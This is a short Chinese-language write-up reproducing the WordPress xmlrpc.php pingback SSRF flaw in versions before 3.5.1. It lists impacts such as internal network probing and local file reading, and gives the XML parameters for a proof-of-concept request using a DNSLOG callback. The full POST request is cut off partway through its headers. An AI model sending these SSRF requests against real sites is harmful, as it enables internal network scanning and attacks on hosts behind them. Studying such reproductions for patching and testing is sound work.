WordPress xmlrpc.php SSRF漏洞复现

0x01 WordPress xmlrpc.php 存在SSRF漏洞

通过Pingback可以实现的服务器端请求伪造 (Server-side request forgery，SSRF)和远程端口扫描。

0x02 影响版本

WordPress 版本< 3.5.1

造成的影响
1、可以对业务内网进行探测。
2、攻击运行在内网或本地的应用程序（比如溢出攻击）。
3、利用file协议读取本地文件等

0x03漏洞验证

第一步：直接访问这个文件，初步判断

第二步：发现POC验证数据包

需要修改三处地方：例如：www.baidu.com

Host: www.baidu.com
<param><value><string>DNSLOG地址</string></value></param>
<param><value><string>http://www.baidu.com/?p=1</string></value></param>

完整验证数据包

POST /xmlrpc.php HTTP/1.1
Host: www.目标.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6